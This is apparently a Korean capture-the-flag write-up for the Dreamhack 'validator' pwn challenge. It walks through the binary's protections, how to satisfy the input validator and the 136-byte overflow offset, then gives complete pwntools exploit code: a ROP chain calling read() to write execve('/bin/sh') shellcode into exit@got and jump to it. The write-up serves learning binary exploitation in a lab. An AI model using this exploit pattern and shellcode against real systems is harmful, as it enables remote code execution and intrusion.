validator

NX disabled and a writable GOT, so the shellcode is written directly into the GOT and jumped to.

2026.08.18 Pwn original post

먼저 바이너리의 보호 기법을 확인한다.

Figure 1

No Canary → stack overflow로 return address overwrite 가능 NX Disabled → GOT 같은 writable 영역에 쓴 shellcode 실행 가능 No PIE → gadget, PLT, GOT 주소가 고정 Partial RELRO / No RELRO → GOT 영역에 write 가능

이 문제에서는 exit@got 영역에 shellcode를 직접 쓰고 해당 주소로 jump하는 방식이므로, 특히 NX Disabled와 GOT writable 조건이 중요하다.

IDA pseudocode 기준으로 main 함수는 다음과 같은 형태이다. 소스 코드가 없어서 아이다 디코딩을 썻다

Figure 2

Figure 3

Figure 4

핵심 흐름은 다음과 같다.

  1. 프로그램이 stdin으로 최대 0x400 bytes를 입력받는다.
  2. 입력값에 대한 validator 함수가 실행된다.
  3. validator 조건을 만족하면 main 함수가 return된다.
  4. 그러나 입력 버퍼는 128 bytes인데 read size는 0x400 bytes이므로 stack overflow가 발생한다.
  5. return address를 ROP chain으로 덮는다.
  6. ROP chain으로 read(0, exit@got, 0x150)을 호출한다.
  7. 두 번째 입력으로 shellcode를 exit@got에 쓴다.
  8. read가 끝난 뒤 exit@got로 jump하여 shellcode를 실행한다.
  9. shell을 획득한다.

따라서 128 bytes를 초과하는 입력을 넣으면 saved RBP와 return address를 덮을 수 있다. x64 기준 stack 구조는 보통 다음과 같다.

s[128] saved RBP 8 bytes return address 8 bytes

따라서 return address까지 도달하기 위한 offset은 다음과 같다.

128 + 8 = 136 bytes

즉, payload의 앞 136 bytes를 채운 뒤 그 다음부터 ROP chain을 배치하면 된다. 첫번째 loop는 입력의 앞 10 bytes를 검사한다.

for (i = 0; i <= 9; ++i) {
if (s[i] != aDreamhack[i])
exit(0);

}

IDA에서 aDreamhack 문자열을 확인하면 문제에서 요구하는 첫 10 bytes는 다음과 같다. DREAMHACK! 따라서 payload는 반드시 다음 문자열로 시작해야 한다.

payload = b"DREAMHACK!"

길이는 정확히 10 bytes이다. D R E A M H A C K ! 0 1 2 3 4 5 6 7 8 9 두 번째 loop는 j = 11부터 시작한다.

for (j = 11; a2 > j; ++j) {
if (s[j] != s[j + 1] + 1)
exit(0);

} 여기서 a2는 0x80, 즉 128이다. 따라서 loop 범위는 다음과 같다.

j = 11 ~ 127

조건은 다음과 같다: s[j] == s[j + 1] + 1

즉, 현재 byte가 다음 byte보다 정확히 1 커야 한다. 예를 들어 다음과 같은 형태는 조건을 만족한다. 119, 118, 117, 116, …, 1

payload 구조를 보면:

s[0] ~ s[9] = DREAMHACK! s[10] = 119 s[11] = 118 s[12] = 117 ...

검증은 s[11]부터 시작하므로:

s[11] == s[12] + 1
118 == 117 + 1

조건을 만족한다. 현재 payload 길이는 129 bytes이다.

payload = b"DREAMHACK!" payload += bytes(range(119, 0, -1))
10 + 119 = 129 bytes

return address까지 도달하려면 136 bytes가 필요하다.

buffer 128 bytes + saved RBP 8 bytes = 136 bytes

따라서 추가로 7 bytes를 더 채운다.

payload += b"a" * 7

최종적으로 ROP chain이 시작되기 전 payload 길이는 다음과 같다.

129 + 7 = 136 bytes

즉, 다음에 들어가는 8 bytes가 return address를 덮게 된다. ROP Gadget 찾기

ROPgadget으로 필요한 gadget을 찾는다. ROPgadget —binary ./validator_server —re “pop rdi”

결과:

0x00000000004006f3 : pop rdi ; ret

다음으로 pop rsi gadget을 찾는다. ROPgadget —binary ./validator_server —re “pop rsi” 결과:

0x00000000004006f1 : pop rsi ; pop r15 ; ret

이 gadget은 rsi뿐만 아니라 r15도 같이 pop한다. 따라서 ROP chain에서 값을 2개 넣어야 한다. 다음으로 pop rdx gadget을 찾는다.

ROPgadget —binary ./validator_server —re “pop rdx” 결과:

0x000000000040057b : pop rdx ; ret

최종적으로 사용할 gadget은 다음과 같다.

pop_rdi = 0x004006f3 pop_rsi_r15 = 0x004006f1 pop_rdx = 0x0040057b

read@plt e.plt[‘read’]는 read@plt 주소이다. PLT는 외부 함수 호출을 위한 stub이다. ROP chain에서 read@plt로 이동하면 실제 read()를 호출할 수 있다.

payload += p64(e.plt['read'])

이 시점에 레지스터가 다음과 같이 세팅되어 있으면:

RDI = 0 RSI = exit@got RDX = 0x150

실제로는 다음 함수가 호출된다.

read(0, exit@got, 0x150);

이제 ROP chain을 구성한다.

payload += p64(pop_rdi) + p64(0)

이 부분은 다음을 수행한다.

RDI = 0

즉, read()의 첫 번째 인자인 file descriptor를 stdin으로 설정한다.

read(0, ...);

다음은 RSI 설정이다.

payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)

pop rsi ; pop r15 ; ret gadget이므로 값을 2개 넣어야 한다.

RSI = exit@got R15 = 0

R15는 exploit에서 사용하지 않는다. 단지 gadget이 pop r15까지 포함하고 있기 때문에 dummy 값으로 0을 넣는다. 다음은 RDX 설정이다.

payload += p64(pop_rdx) + p64(0x150)

결과:

RDX = 0x150

이제 인자 세팅이 끝났으므로 read@plt를 호출한다.

payload += p64(e.plt['read'])

결과적으로 다음 함수가 실행된다.

read(0, exit@got, 0x150);

마지막으로 read()가 끝난 뒤 jump할 주소를 넣는다.

payload += p64(e.got['exit'])

즉, read()가 return하면 RIP는 exit@got가 된다. 최종 Exploit Code

from pwn import *

p = remote('host3.dreamhack.games', 22617)
e = ELF("./validator_server")
context.arch = "amd64"

shellcode = asm(shellcraft.sh())

pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b

payload = b"DREAMHACK!"              # 10 바이트
list = []
for i in range(119, 0, -1):          # 119 바이트
    list.append(i)
payload += bytes(list)
payload += b'a' * 7                  # 129 바이트를 8바이트 단위로 맞추려고 7 추가

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read'])
payload += p64(e.got['exit'])

p.send(payload)
p.send(shellcode)
p.interactive()

GNU binutils 쪽에서 문제가 생겨 해당 부분은 다른 방법으로 처리했다.

from pwn import * context.clear(arch='amd64', os='linux') p = remote('host3.dreamhack.games', 22617) e
= ELF("./validator_server") shellcode = ( b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e"
b"\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58" b"\x99\x0f\x05" ) pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1 pop_rdx = 0x0040057b payload = b"DREAMHACK!" payload +=
bytes(range(119, 0, -1)) payload += b'a' * 7 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15)
+ p64(e.got['exit']) + p64(0) payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read']) payload +=
p64(e.got['exit']) p.send(payload) p.send(shellcode) p.interactive()

끄읕ㅌㅌ